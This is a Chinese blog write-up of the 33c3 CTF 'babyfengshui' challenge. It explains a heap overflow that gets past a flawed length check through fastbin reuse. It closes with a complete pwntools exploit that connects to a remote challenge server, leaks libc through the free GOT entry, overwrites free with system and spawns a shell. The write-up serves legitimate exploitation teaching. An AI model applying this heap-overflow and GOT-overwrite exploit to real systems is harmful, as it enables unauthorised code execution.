33c3 ctf babyfengshui

idea

老说要开始堆的学习,拒绝拖延症从我做起。XD

老规矩,先看一下开的保护情况。有 nx 和 canary,没有 pie ,got 表部分可写。

1
2
3
4
5
6
/home/carlstar/Desktop/babyfengshui'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)

再看看逻辑是什么样子的,经典的菜单题目。像这种菜单题目最好先运行一下,这样可以更好的帮助我们理解程序的逻辑。大概程序的流程就是这样的,除此之外还有删除用户和更新 description 功能。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
carlstar@ubuntu:~/Desktop$ ./babyfengshui
0: Add a user
1: Delete a user
2: Display a user
3: Update a user description
4: Exit
Action: 0
size of description: 10
name: 123
text length: 4
text: 123
0: Add a user
1: Delete a user
2: Display a user
3: Update a user description
4: Exit
Action: 2
index: 0
name: 123
description: 123
0: Add a user
1: Delete a user
2: Display a user
3: Update a user description
4: Exit
Action:

逆向程序的时候其实可以发现有一个结构体,具体长这样。如果可以逆向出这个结构体的话对我们接下来分析漏洞有很大的帮助。

1
2
3
4
struct user{
char * desc
char name[124]
}

接着看,在 add a user 处有一个奇怪的保护,如果 user.desc + text len >= user.name 这样的话就会结束当前进程,猜测作者的意思是防止堆溢出吧。可是真的可以防护吗?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
4 = __readgsdword(0x14u);
if ( a1 < (unsigned __int8)byte_804B069 && ptr[a1] )
{
v3 = 0;
printf("text length: ");
__isoc99_scanf("%u%c", &v3, &v2);
if ( (char *)(v3 + *(_DWORD *)ptr[a1]) >= (char *)ptr[a1] - 4 )
//user.desc + text len >= user.name
{
puts("my l33t defenses cannot be fooled, cya!");
exit(1);
}
printf("text: ");
sub_80486BB(*(char **)ptr[a1], v3 + 1);

熟悉堆的分配可以知道,当 add a user 时,堆的结构大概是这样的

Size of desc0 ——> size of name0

当我们再次 add a user 时,堆的结构大概是这个样子的

Size of desc0 ——> size of name0 ——> Size of desc1 ——> size of name1

00

别忘了还有一个删除 user 的选项,当询问我们分配堆的大小时,我们可以让堆分配的范围在 fastbin这个范围中,当 free fastbin 时 ,堆的管理机制并不会直接把它回收,而是当下一次程序请求相同大小的堆块时,直接把它分配给当前请求的程序,并且遵循后进先出的原则,即最后一次释放的堆块优先分配。

那么我们删除 user 0 后再次分配一个比较大的空间,看看会是怎么样呢。这样的话我们就可以把 user1 的 desc指针覆盖为任意值,再配合 Update a user description这个功能就可以实现任意地址写,可以看看这个功能后调用了什么函数,直接覆写 got 即可 getshell。

Size of desc2 ——> Size of desc1 ——> size of name1 ——> size of name2

01

计算一下我们的输入 41414141到 0x0804c0a8 这个距离即可。

02

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from pwn import *
context(log_level = "debug", terminal = ["deepin-terminal", "-x", "sh", "-c"])


#t = process('./babyfengshui')
t = remote('111.198.29.45', 31862)

def add_user(size, name, txlen, text):
t.sendlineafter('Action: ', str(0))
t.sendlineafter('size of description: ', str(size))
t.sendlineafter('name: ', str(name))
t.sendlineafter('text length: ', str(txlen))
t.sendlineafter('text: ', str(text))


def delete_user(index):
t.sendlineafter('Action: ', str(1))
t.sendlineafter('index: ', str(index))



def display_user(index):
t.sendlineafter('Action: ', str(2))
t.sendlineafter('index: ', str(index))
#return t.recv(24)[20:]



def update_user(index, txlen, text):
t.sendlineafter('Action: ', str(3))
t.sendlineafter('index: ', str(index))
t.sendlineafter('text length: ', str(txlen))
t.sendlineafter('text: ', str(text))





elf = ELF('./babyfengshui')
libc = ELF('./libc-2.19.so')
got_free = elf.got['free']

add_user(20,123,10,123)
add_user(30,123,10,123)
delete_user(0)
add_user(70,123,180,'/bin/sh\x00' + cyclic(168) + p32(got_free))
display_user(1)
t.recvuntil('description: ')
#t.recv(13)
addr_free = u32(t.recv(4))
log.info(hex(addr_free))
addr_sys = addr_free - 0x070750 + 0x03a940
update_user(1,5,p32(addr_sys))
delete_user(2)


t.interactive()

03

文章作者: Carl Star
文章链接: http://carlstar.club/2019/01/17/heap-overflow/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Hexo